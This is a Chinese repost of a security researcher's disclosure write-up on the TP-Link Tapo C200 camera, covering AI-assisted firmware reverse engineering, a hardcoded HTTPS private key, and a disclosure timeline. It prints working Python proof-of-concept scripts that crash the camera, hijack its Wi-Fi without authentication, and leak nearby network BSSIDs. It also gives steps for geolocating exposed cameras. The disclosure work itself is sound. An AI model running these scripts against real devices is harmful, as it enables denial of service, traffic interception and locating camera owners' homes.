TP-LinkTapoC200智能摄像头:硬编码密钥、缓冲区溢出漏洞及人工智能辅助逆向工程时代的隐私安全问题

admin 2025-12-26 01:37:42 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文记录了利用AI辅助逆向TP-Link摄像头固件的过程,发现ONVIF溢出、HTTPS整数溢出及无认证WiFi劫持等高危漏洞。设备还存硬编码密钥及位置信息泄露风险。因厂商修复滞后超150天,文章揭示了IoT设备严重的隐私安全隐患与供应链响应缺陷。 综合评分: 95 文章分类: IoT安全,漏洞分析,逆向分析,AI安全,漏洞POC


cover_image

TP-Link Tapo C200智能摄像头:硬编码密钥、缓冲区溢出漏洞及人工智能辅助逆向工程时代的隐私安全问题

evilsocket

赛博知识驿站

2025年12月25日 16:37 中国香港

要点速览

本文详细记录了作者对 TP-Link Tapo C200 智能摄像头固件的逆向分析过程,展示了 AI 辅助逆向工程的实战应用,并发现了多个严重的 pre-auth 漏洞。

固件获取与解密

  • • 通过逆向 Android 应用发现 TP-Link 将所有固件存储在未加密的公开 S3 存储桶
  • • 使用 aws s3 ls s3://download.tplinkcloud.com/ 即可列出所有设备固件
  • • 利用 tp-link-decrypt 工具解密固件(密钥来自 TP-Link 自己的 GPL 代码发布)
  • • 通过 binwalk 提取 SquashFS 文件系统

AI 辅助逆向技术

  • • 使用 Grok 快速检索历史研究成果
  • • 结合 GhidraMCP + Claude Opus/Sonnet 4 分析 MIPS 二进制文件
  • • AI 辅助函数语义理解变量重命名,将 FUN_0042eb7c(undefined2 *param_1) 转化为 handleConnectAp(connection *conn, json *params)
  • • 使用 Cline 探索文件系统定位关键组件

发现的漏洞

CVE-2025-8065: ONVIF SOAP XML 解析器内存溢出

  • • CVSS 4.0: 7.1 (High)
  • • 端口 2020 的 ONVIF 服务在 soap_parse_and_validate_request 函数中调用 ds_parse 时无边界检查
  • • PoC: 发送 100,000 个 XML 元素导致内存溢出,设备崩溃需重启

CVE-2025-14299: HTTPS Content-Length 整数溢出

  • • CVSS 4.0: 7.1 (High)
  • • 443 端口 HTTPS 服务器在 0x004bd054 地址直接使用 atoi() 解析 Content-Length 头
  • • PoC: 发送 Content-Length: 4294967295 触发 32 位整数溢出导致崩溃

CVE-2025-14300: WiFi 劫持

  • • CVSS 4.0: 8.7 (High)
  • • connectAp API 端点完全无认证,即使设备已完成初始化配置
  • • 攻击者可远程断开摄像头网络连接,或强制连接到恶意 AP 进行中间人攻击
  • • 结合固件内硬编码的 HTTPS 私钥,可完全解密流量

Bug 4: WiFi 网络扫描信息泄露

  • • scanApList 方法无需认证即可获取摄像头周边所有 WiFi 网络信息
  • • 返回 SSID、BSSID、信号强度等敏感数据
  • • 配合 apple_bssid_locator 工具查询 Apple 位置服务 API,可精确定位设备物理位置(误差数米)
  • • 全球约 25,000 台设备直接暴露在互联网上

披露时间线问题

  • • 2025年7月22日提交报告,TP-Link 承诺 90 天内修复
  • • 经过 150 天仍未发布补丁后公开披露
  • • TP-Link 作为 CVE 编号机构(CNA)存在利益冲突:既负责分配自家产品 CVE,又将低 CVE 数量作为营销卖点

关键技术点

  • • 固件解密使用从 GPL 代码中提取的 RSA 密钥
  • • 所有设备共享相同的 HTTPS 私钥(类似 CVE-2025-1099)
  • • MIPS 架构二进制分析
  • • 使用 gdbserver 可进行动态调试

TP-Link Tapo C200: 硬编码密钥、缓冲区溢出与AI辅助逆向工程时代的隐私问题

每当有人问我如何入门逆向工程时,我总是给出同样的建议:买一个你能找到的最便宜的IP摄像头。这些设备是自成体系的小型生态系统——它们有可以提取的固件、可以嗅探的网络协议,以及可以反编译的移动应用。很有可能,你会发现一些有趣的东西。最坏的情况下,你会学到很多关于汇编和嵌入式系统的知识。最好的情况下,你会发现一些有价值的漏洞,甚至学会如何利用它们!

tp-link tapo c200

我自己拥有几台TP-Link Tapo C200摄像头。它们价格便宜(在意大利不到20欧元)、运行稳定,我确实很喜欢它们——开箱即用。某个周末,我决定亲自实践一下自己的建议。Tapo C200已经推出一段时间了,多年来已经发现并或多或少修复了一些CVE漏洞[1],所以老实说,我并不期望在最新固件中发现太多问题。然而,我想借此机会进行一些AI辅助逆向工程,测试是否还能找到任何漏洞。

我在Arcadia[2]上实时记录了整个过程——我的思考过程、遇到的死胡同、有效和无效的AI提示词。如果你想看带有截图和崩溃视频的原始未经修饰的版本,可以去看看那个帖子。

本文是那段旅程的精简版本,我想展示在AI时代我是如何进行固件分析的。你会注意到在几个实例中,我会特别偷懒,把一些我本可以手动完成或经过更多工作后自己推断出来的事情委托给AI。请记住,虽然我确实通常很懒,但这也是一个实验,旨在整合和记录AI在安全研究和逆向工程中的有效性,特别是在使这些工作对经验不足的研究人员/攻击者更加易于接触方面。

最初只是一个懒散的周末项目,最终发现了几个安全漏洞,影响了约25,000台直接暴露在互联网上的这类设备[3]。

tapo c200设备分布图

获取固件

工具

  • • 老朋友JD-GUI[4]用于逆向Android应用并了解整体情况
  • • AWS CLI[5]用于下载固件镜像
  • • binwalk[6]用于固件检查
  • • Grok[7]用于快速进行AI辅助的先前研究调查

第一步总是获取固件二进制文件,这次非常简单!在对Tapo Android应用[8]进行了一些基础逆向[9]后,我发现TP-Link将整个固件仓库放在了一个开放的S3存储桶中。无需身份验证。因此,你可以列出并下载他们为任何设备发布的每个版本的固件:

$ aws s3 ls s3://download.tplinkcloud.com/ --no-sign-request --recursive

完整输出在这里,供好奇者查看[10]。这提供了对每个TP-Link设备固件镜像的访问权限——路由器、摄像头、智能插座,应有尽有。简直是逆向工程师的糖果店。

我获取了C200(硬件版本3)的1.4.2 Build 250313 Rel.40499n版本,文件名为Tapo_C200v3_en_1.4.2_Build_250313_Rel.40499n_up_boot-signed_1747894968535.bin,并开始研究。然而,第一次通过binwalk识别其格式的尝试并不成功,表明存在某种加密或混淆。

这就是我开始使用AI的地方。我使用Grok进行深度研究[11],了解如何解密这些摄像头的固件。由于我知道之前有其他黑客研究过这个问题,我将搜索数百个相关网页的工作委托给了AI:

grok

解密固件

工具

  • • tp-link-decrypt[12]工具用于解密固件镜像
  • • binwalk[6]用于固件检查

感谢Grok、tp-link-decrypt[12]工具,以及每个设备的每个固件镜像似乎都以完全相同的方式加密这一事实,我们现在可以解密固件了。该工具从TP-Link自己的GPL代码发布中提取RSA密钥——他们作为开源义务的一部分自己发布了解密密钥。

感谢@watchfulip的原始TP-Link固件深度研究[13]和@tangrs发现相关二进制文件发布在TP-Link GPL代码转储中以及如何从中提取密钥[14]。

$ git clone https://github.com/robbins/tp-link-decrypt
$ cd tp-link-decrypt
$ ./preinstall.sh        # 安装依赖
$ ./extract_keys.sh      # 从TP-Link的GPL代码中提取RSA密钥
$ make
$ bin/tp-link-decrypt Tapo_C200_firmware.bin

解密后,固件显示出相当标准的结构:一个引导加载程序、一个内核和一个SquashFS根文件系统。

$ binwalk -e Tapo_C200_v3_1.4.2_decrypted.bin

binwalk

漏洞挖掘

工具

  • • Ghidra[15]用于反编译和理解MIPS二进制文件
  • • GhidraMCP[16]让AI连接到我正在运行的Ghidra实例并在过程中提供支持
  • • Cline[17]让AI探索文件系统并找到有趣的组件
  • • 混合使用Anthropic的Opus和Sonnet 4[18]

提取后,我使用AI和Cline探索文件系统,寻找处理发现协议、摄像头Web API、视频流等组件,这些都是之前在逆向Android应用时发现的。

Claude Opus 4: “这是一个IP摄像头的固件,我正在尝试找到管理API的Web应用程序在哪里” pic.twitter.com/NrgtKGUD8h[19]

— Simone Margaritelli (@evilsocket) 2025年7月18日[20]

加载Ghidra并快速查看tp_manage二进制文件,发现了第一个有趣的东西:

tp_manage

这个私钥不是在启动时生成的。类似于C500的CVE-2025-1099[21],C200在其固件中嵌入了为几个API提供SSL服务的私钥。如果你与摄像头在同一网络上,你可以使用从固件镜像中提取的密钥进行中间人攻击并解密它们的HTTPS流量——无需接触硬件。对于一个流式传输人们家庭视频的安全摄像头来说,这…不太理想。

我继续加载其他有趣的二进制文件,并使用AI在Ghidra中探索它们,以快速了解主要功能和攻击者的可能入口点。

要求AI解释一个函数及其与其他函数的关系,对于理解加密/混淆例程和网络协议处理程序非常有用。这使你可以从这里:

反编译代码

到AI可以提供的更高层次的理解:

udp crc

我发现另一种特别有效的技术是要求AI分析给定的目标函数,并根据上下文将其变量和参数重命名为有意义的名称。然后对它调用的函数做同样的事情,递归地跟踪你感兴趣的分支。经过几次迭代后,最初的FUN_0042eb7c(undefined2 *param_1, undefined4 param_2, int param_3)变成了handleConnectAp(connection *conn, int flags, json *params)——突然间反编译的代码读起来几乎像原始源代码。

这种迭代改进方法,我认为是人机协作的一个很好的例子,单独任何一方都不会如此高效,这就是我映射大部分HTTP处理程序、发现协议等的方式。以下是我发现的要点。有关该过程的更多详细信息,请参阅原始Discord帖子[2]。

作为附注,我没有(过多)调查以下漏洞实现代码执行的可利用性,主要是因为我不熟悉MIPS,而且这不是我的意图。但是,一旦通过物理访问获得shell[22],由于固件中存在/bin/gdbserver二进制文件,你可以相对容易地做到这一点。

漏洞1: 认证前ONVIF SOAP XML解析器内存溢出 (CVE-2025-8065)

Tapo C200通过在2020端口监听的/bin/main服务器暴露ONVIF服务,以实现与标准视频管理系统的互操作性。问题在于它如何解析SOAP XML请求。

在处理XML元素时,解析器(soap_parse_and_validate_request位于0x0045ae8c)调用ds_parse时没有对元素数量或总内存分配进行任何边界检查。发送足够多的XML元素,就会溢出分配的内存。

这是PoC:

#!/usr/bin/env python3
import urllib.request
import sys

TARGET = sys.argv[1]
ONVIF_PORT = 2020

# 生成100,000个XML元素 - 这将溢出解析器
params =&nbsp;''.join([f'<SimpleItem Name="Param{i}" Value="{"X"&nbsp;*&nbsp;100}"/>'
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;for&nbsp;i&nbsp;in&nbsp;range(100000)])

body =&nbsp;f'''<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Body>
<CreateRules xmlns="http://www.onvif.org/ver20/analytics/wsdl">
<ConfigurationToken>test</ConfigurationToken>
<Rule>
<Name>TestRule</Name>
<Type>tt:CellMotionDetector</Type>
<Parameters>{params}</Parameters>
</Rule>
</CreateRules>
</soap:Body>
</soap:Envelope>'''

req = urllib.request.Request(f"http://{TARGET}:{ONVIF_PORT}/onvif/service",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; data=body.encode('utf-8'))
req.add_header('Content-Type',&nbsp;'application/soap+xml')
urllib.request.urlopen(req, timeout=30)

发送此请求后,摄像头崩溃,需要断电重启才能恢复。

pic.twitter.com/JQ64e9KAJp[23]

— Simone Margaritelli (@evilsocket) 2025年7月19日[24]

CVE-2025-8065[25]已分配给此漏洞。

CVSS v4.0评分: 7.1 / 高危 CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

漏洞2: 认证前HTTPS Content-Length整数溢出 (CVE-2025-14299)

运行在443端口的HTTPS服务器例程在其Content-Length头解析中存在经典的整数溢出。位于0x004bd054的易受攻击函数执行以下操作:

iVar1 = atoi(value);
param_1->content_length = iVar1;

就这样。没有边界检查。没有验证。只是对用户输入进行原始的atoi()调用。

在32位系统上,atoi("4294967295")导致整数溢出,造成未定义行为。在这种情况下,摄像头崩溃:

#!/usr/bin/env python3
import&nbsp;socket
import&nbsp;ssl
import&nbsp;sys

TARGET = sys.argv[1]

request =&nbsp;f"""POST / HTTP/1.1\r
Host:&nbsp;{TARGET}\r
Content-Length: 4294967295\r
Content-Type: application/octet-stream\r
Connection: close\r
\r
AAAA"""

context = ssl.create_default_context()
context.check_hostname =&nbsp;False
context.verify_mode = ssl.CERT_NONE

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ssl_sock = context.wrap_socket(sock, server_hostname=TARGET)
ssl_sock.connect((TARGET,&nbsp;443))
ssl_sock.send(request.encode())

第二个漏洞 pic.twitter.com/tt7eL7MA27[26]

— Simone Margaritelli (@evilsocket) 2025年7月19日[27]

又一次崩溃💪 CVE-2025-14299[28]已分配给此漏洞。

CVSS v4.0评分: 7.1 / 高危 CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

漏洞3: 认证前WiFi劫持 (CVE-2025-14300)

摄像头暴露了一个名为connectAp的API端点,用于初始设置期间配置WiFi。问题是什么?它可以在没有任何身份验证的情况下访问。即使在摄像头完全设置并连接到你的网络之后。

位于0x0042eb7c的易受攻击处理程序在没有任何身份验证检查的情况下处理请求:

void&nbsp;connectApHandler(undefined2 *param_1,undefined4 param_2,int&nbsp;json_params)&nbsp;{
&nbsp; &nbsp; // 这里没有身份验证检查 - 只是处理请求
&nbsp; &nbsp; jso_add_string(iVar3,"method","connectAp");
&nbsp; &nbsp; jso_obj_add(iVar3,"params",iVar2);
&nbsp; &nbsp; iVar1 = ds_tapo_handle(param_1);
}

第三个漏洞! 🚀 pic.twitter.com/2GZiG4bTm0[29]

— Simone Margaritelli (@evilsocket) 2025年7月22日[30]

利用方法很简单:

#!/usr/bin/env python3
import&nbsp;urllib.request
import&nbsp;ssl
import&nbsp;sys

TARGET = sys.argv[1]

# 无需身份验证 - 直接发送
payload =&nbsp;'{"method":"connectAp","params":{"onboarding":{"connect":{"ssid":"EVIL_NETWORK","bssid":"11:11:11:11:11:11","auth":3,"encryption":2,"rssi":3,"password":"hacked","pwd_encrypted":0}}}}'

context = ssl.create_default_context()
context.check_hostname =&nbsp;False
context.verify_mode = ssl.CERT_NONE

req = urllib.request.Request(f"https://{TARGET}/", data=payload.encode('utf-8'))
req.add_header('Content-Type',&nbsp;'application/json')
urllib.request.urlopen(req, context=context, timeout=10)

这允许远程攻击者:

  • • 断开摄像头与其合法网络的连接(拒绝服务)

如果在WiFi范围内:

  • • 强制其连接到攻击者控制的网络(中间人攻击)
  • • 拦截所有视频流量(虽然我们并不真的需要这个,因为如前所述,所有设备共享HTTPS私钥 XD)
  • • 维持持久访问,即使所有者更改了WiFi密码

CVE-2025-14300[31]已分配给此漏洞。

CVSS v4.0评分: 8.7 / 高危 CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

漏洞4: 认证前附近WiFi网络扫描

与漏洞3相关,scanApList方法也可以在没有身份验证的情况下访问——即使设备不处于配对模式。此端点返回摄像头可见的所有WiFi网络列表:

#!/usr/bin/env python3
import&nbsp;urllib.request
import&nbsp;ssl
import&nbsp;sys

TARGET = sys.argv[1]

payload =&nbsp;'{"method":"scanApList","params":{}}'

context = ssl.create_default_context()
context.check_hostname =&nbsp;False
context.verify_mode = ssl.CERT_NONE

req = urllib.request.Request(f"https://{TARGET}/", data=payload.encode('utf-8'))
req.add_header('Content-Type',&nbsp;'application/json')
response = urllib.request.urlopen(req, context=context, timeout=10)
print(response.read().decode())

在互联网上暴露的一台设备上的测试:

aps

考虑到这些设备在互联网上暴露的数量,这一点特别令人担忧。攻击者可以远程枚举摄像头附近的WiFi网络,包括:

  • • 附近网络的SSID
  • • BSSID(接入点的MAC地址)
  • • 信号强度(对三角定位有用)
  • • 安全配置

更糟糕的是:像apple_bssid_locator[32]这样的工具可以使用BSSID查询Apple的位置服务API并返回精确的GPS坐标。

这意味着攻击者可以:

  1. 1. 通过ZoomEye、Shodan或类似索引服务找到暴露的Tapo摄像头
  2. 2. 使用scanApList检索附近的WiFi BSSID
  3. 3. 使用这些BSSID查询Apple的位置数据库
  4. 4. 将摄像头的物理位置精确定位到几米范围内

远程攻击者不仅可以看到摄像头周围存在哪些WiFi网络——他们可以准确确定该摄像头(以及它所监控的家庭或企业)在地图上的位置。

漏洞披露

我决定遵循行业标准[33]90+30天负责任的披露流程;以下是时间线:

  • • 2025年7月22日: 向TP-Link安全团队([email protected][34])发送初始报告,包含完整的技术细节、PoC利用代码和视频。所有内容均按照他们的指南[35]编译。
  • • 2025年7月22日: 收到确认。
  • • 2025年8月22日: TP-Link确认他们仍在审查报告
  • • 2025年9月27日: TP-Link回复并将修复补丁的时间表设定为2025年11月底。
  • • 2025年11月: 没有任何进展。
  • • 2025年12月1日: 发送后续邮件,无回复。
  • • 2025年12月4日: 发送另一封后续邮件,TP-Link回复,进一步将补丁推迟到下周。
  • • 下周: 没有任何进展。
  • • 2025年12月19日: 在150天后公开披露。
  • • 2025年12月20日: TP-Link最终发布了CVE-2025-8065、CVE-2025-14299和CVE-2025-14300的安全公告。

90+30天的期限早已过去,所以我决定发布这篇文章。

利益冲突

截至4月25日,TP-Link成为CVE编号机构(CNA)[36]。这意味着他们有权为自己产品中的漏洞分配CVE标识符——至少对于直接向他们报告的漏洞是这样。他们积极鼓励直接向其安全团队进行负责任的披露[37],这意味着他们控制着相当大的漏洞报告渠道。

在他们的安全承诺页面[38]上,TP-Link显著展示了将其CVE数量与竞争对手进行比较的图表。他们明确宣传自己的CVE数量少于Cisco、Netgear和D-Link。他们声称”旨在在90天内修补漏洞”。

当一家供应商被允许成为自己的CNA,同时将其CVE数量作为营销指标时,存在明显的结构性利益冲突。


总结

这次研究展示了AI辅助逆向工程的强大能力,同时也暴露了IoT设备普遍存在的安全问题。从硬编码密钥到未经身份验证的关键API,这些漏洞不仅影响设备本身的安全,还可能泄露用户的物理位置等敏感信息。对于安全研究人员来说,这是一个很好的案例,说明了如何结合传统技术和现代AI工具进行高效的漏洞挖掘。

原文:https://www.evilsocket.net/2025/12/18/TP-Link-Tapo-C200-Hardcoded-Keys-Buffer-Overflows-and-Privacy-in-the-Era-of-AI-Assisted-Reverse-Engineering/

引用链接

[1] 一些CVE漏洞: https://www.cvedetails.com/vulnerability-list/vendor_id-11936/product_id-83493/Tp-link-Tapo-C200-Firmware.html [2] Arcadia: https://discord.com/channels/1100085665766572142/1396102661257957396 [3] 约25,000台直接暴露在互联网上的这类设备: https://www.zoomeye.ai/searchResult?q=IlRQUkktREVWSUNFIg== [4] JD-GUI: https://java-decompiler.github.io/ [5] AWS CLI: https://aws.amazon.com/cli/ [6] binwalk: https://github.com/ReFirmLabs/binwalk [7] Grok: https://grok.com [8] Tapo Android应用: https://play.google.com/store/apps/details?id=com.tplink.iot&hl=it [9] 基础逆向: /2017/04/27/Android-Applications-Reversing-101/ [10] 完整输出在这里,供好奇者查看: /images/2025/tapo/bucket_contents.txt [11] 进行深度研究: https://x.com/i/grok/share/t9RzvgCRwIluVGnXMu39VVxDx [12] tp-link-decrypt: https://github.com/robbins/tp-link-decrypt [13] 原始TP-Link固件深度研究: https://watchfulip.github.io/28-12-24/tp-link_c210_v2.html [14] 发现相关二进制文件发布在TP-Link GPL代码转储中以及如何从中提取密钥: https://blog.tangrs.id.au/2025/09/22/decrypting-tplink-smart-switch-firmware/ [15] Ghidra: https://github.com/NationalSecurityAgency/ghidra [16] GhidraMCP: https://github.com/LaurieWired/GhidraMCP [17] Cline: https://github.com/cline/cline [18] Anthropic的Opus和Sonnet 4: https://claude.ai/ [19] pic.twitter.com/NrgtKGUD8h: https://t.co/NrgtKGUD8h [20] 2025年7月18日: https://twitter.com/evilsocket/status/1946238860007973282?ref_src=twsrc%5Etfw [21] C500的CVE-2025-1099: https://nvd.nist.gov/vuln/detail/CVE-2025-1099 [22] 通过物理访问获得shell: https://www.hacefresko.com/posts/tp-link-tapo-c200-unauthenticated-rce [23] pic.twitter.com/JQ64e9KAJp: https://t.co/JQ64e9KAJp [24] 2025年7月19日: https://twitter.com/evilsocket/status/1946705477745733940?ref_src=twsrc%5Etfw [25] CVE-2025-8065: https://nvd.nist.gov/vuln/detail/CVE-2025-8065 [26] pic.twitter.com/tt7eL7MA27: https://t.co/tt7eL7MA27 [27] 2025年7月19日: https://twitter.com/evilsocket/status/1946706143805387252?ref_src=twsrc%5Etfw [28] CVE-2025-14299: https://nvd.nist.gov/vuln/detail/CVE-2025-14299 [29] pic.twitter.com/2GZiG4bTm0: https://t.co/2GZiG4bTm0 [30] 2025年7月22日: https://twitter.com/evilsocket/status/1947620181871677492?ref_src=twsrc%5Etfw [31] CVE-2025-14300: https://nvd.nist.gov/vuln/detail/CVE-2025-14300 [32] apple_bssid_locator: https://github.com/darkosancanin/apple_bssid_locator [33] 行业标准: https://projectzero.google/vulnerability-disclosure-policy.html [34] [email protected]: mailto:[email protected] [35] 他们的指南: https://www.tp-link.com/en/press/security-advisory/ [36] 截至4月25日,TP-Link成为CVE编号机构(CNA): https://www.tp-link.com/us/press/news/21730/ [37] 积极鼓励直接向其安全团队进行负责任的披露: https://www.tp-link.com/it/press/security-advisory/ [38] 安全承诺页面: https://www.tp-link.com/us/landing/security-commitment/


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:赛博知识驿站 evilsocket《TP-Link Tapo C200智能摄像头:硬编码密钥、缓冲区溢出漏洞及人工智能辅助逆向工程时代的隐私安全问题》

评论:0   参与:  1